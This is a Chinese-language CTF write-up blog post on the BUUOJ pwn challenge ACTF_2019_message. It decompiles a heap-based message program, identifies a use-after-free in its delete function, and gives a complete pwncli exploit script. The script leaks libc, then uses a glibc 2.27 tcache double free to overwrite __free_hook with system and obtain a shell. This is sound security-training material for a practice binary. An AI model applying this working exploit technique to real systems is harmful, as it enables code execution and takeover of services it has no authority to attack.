buuoj-pwn-ACTF_2019_message

buuoj-pwn-ACTF_2019_message

总结

  • 低版本存在uaf时优先考虑double free
  • 给信号注册函数的函数signal()

逆向分析

glibc版本

ubuntu18.04也就是glibc2.27

对于这道题,我们只需要知道该版本的tcache利用没啥限制,直接double free就好了

结构体typedef

简单逆向一下就知道结构体如下:

typedef struct message
{
	__int64 size;
	void *chunk_prt;

}chunk_;

关键函数

  • 初始化函数

    unsigned __int64 sub_400911()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      signal(14, (__sighandler_t)handler);
      memset(&unk_602060, 0, 0x200uLL);
      alarm(0x3Cu);
      return __readfsqword(0x28u) ^ v1;
    }
    
    void __noreturn handler()
    {
      puts("See you next time. Bye~");
      exit(0);
    }
    

    给14这个信号注册了一个函数handler,现在我们可以查找一下14对应的事件

    编号	信号名称	缺省动作	说明
    1	SIGHUP	终止	终止控制终端或进程
    2	SIGINT	终止	键盘产生的中断(Ctrl-C)
    3	SIGQUIT	dump	键盘产生的退出
    4	SIGILL	dump	非法指令
    5	SIGTRAP	dump	debug中断
    6	SIGABRT/SIGIOT	dump	异常中止
    7	SIGBUS/SIGEMT	dump	总线异常/EMT指令
    8	SIGFPE	dump	浮点运算溢出
    9	SIGKILL	终止	强制进程终止
    10	SIGUSR1	终止	用户信号,进程可自定义用途
    11	SIGSEGV	dump	非法内存地址引用
    12	SIGUSR2	终止	用户信号,进程可自定义用途
    13	SIGPIPE	终止	向某个没有读取的管道中写入数据
    14	SIGALRM	终止	时钟中断(闹钟)
    15	SIGTERM	终止	进程终止
    16	SIGSTKFLT	终止	协处理器栈错误
    17	SIGCHLD	忽略	子进程退出或中断
    18	SIGCONT	继续	如进程停止状态则开始运行
    19	SIGSTOP	停止	停止进程运行
    20	SIGSTP	停止	键盘产生的停止
    21	SIGTTIN	停止	后台进程请求输入
    22	SIGTTOU	停止	后台进程请求输出
    23	SIGURG	忽略	socket发生紧急情况
    24	SIGXCPU	dump	CPU时间限制被打破
    25	SIGXFSZ	dump	文件大小限制被打破
    26	SIGVTALRM	终止	虚拟定时时钟
    27	SIGPROF	终止	profile timer clock
    28	SIGWINCH	忽略	窗口尺寸调整
    29	SIGIO/SIGPOLL	终止	I/O可用
    30	SIGPWR	终止	电源异常
    31	SIGSYS/SYSUNUSED	dump	系统调用异常
    

    可以看出,就是时钟到0后,退出。

    但是这也防止了调试,很奇怪,但是patch一下就好了(哈哈,原来是我pwncli起调试错了)

  • 菜单

    unsigned __int64 sub_4009A8()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      puts("==============================");
      puts("    MESSAGE RECORD SYSTEM     ");
      puts("==============================");
      puts("1. Add message                ");
      puts("2. Delete message             ");
      puts("3. Edit message               ");
      puts("4. Display message            ");
      puts("5. Exit                       ");
      puts("==============================");
      printf("What's your choice: ");
      return __readfsqword(0x28u) ^ v1;
    }
    

    增删改查

  • add函数

unsigned __int64 add()
{
  int i; // [rsp+8h] [rbp-28h]
  int size; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( chunk_num <= 10 )
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( size <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !chunk_arr[i].chunk_prt )
        {
          LODWORD(chunk_arr[i].size) = size;
          chunk_arr[i].chunk_prt = malloc(size);
          puts("Please input the message:");
          read(0, chunk_arr[i].chunk_prt, size);
          ++chunk_num;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
  return __readfsqword(0x28u) ^ v4;

​ 最多可以申请10个chunk

  • del函数
unsigned __int64 del()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( v1 < 0 || v1 > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(chunk_arr[v1].chunk_prt);
      LODWORD(chunk_arr[v1].size) = 0;
      --chunk_num;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

​ 存在UAF,此时应该去分析show函数

  • edit函数
unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
    {
      puts("Now you can edit the message:");
      read(0, chunk_arr[v1].chunk_prt, SLODWORD(chunk_arr[v1].size));
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )

  • show函数
unsigned __int64 show()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
      printf("The message: %s\n", (const char *)chunk_arr[v1].chunk_prt);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )

不可以直接对释放后的chunk进行show

总结

  • 不可以直接对释放后的chunk进行show
  • add的size无限制
  • 联想double free

漏洞利用

主要思路

  • 直接泄露libc,然后tcache double free打hook即可

过程

  • 泄露libc
#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
  • double free

    #--------double free attack _free_hook
    free(3)
    free(2)
    free(2)
    add(0x30,flat(fh))
    
    add(0x30,flat(fh))
    add(0x30,flat(libc.sym.system))
    free(1)
    

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-10 23:25:48
LastEditTime: 2022-12-11 00:07:58
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.27.so")
    gift["libc"] = libc

def cmd(idx):
    sla('choice:',str(idx))

def add(size,cont):
    cmd(1)
    sla('message:',str(size))
    sla('message',cont)

def free(idx):
    cmd(2)
    sla('delete:',str(idx))

def edit(idx,cont):
    cmd(3)
    sl(str(idx))
    sleep(0.01)
    sl(cont)

def show(idx):
    cmd(4)
    sl(str(idx))

#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
add(0x30,'')

show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
#--------double free attack _free_hook
free(3)
free(2)
free(2)
add(0x30,flat(fh))

add(0x30,flat(fh))
add(0x30,flat(libc.sym.system))
free(1)




io.interactive()


posted @ 2022-12-11 00:13  7resp4ss  阅读(98)  评论(0编辑  收藏  举报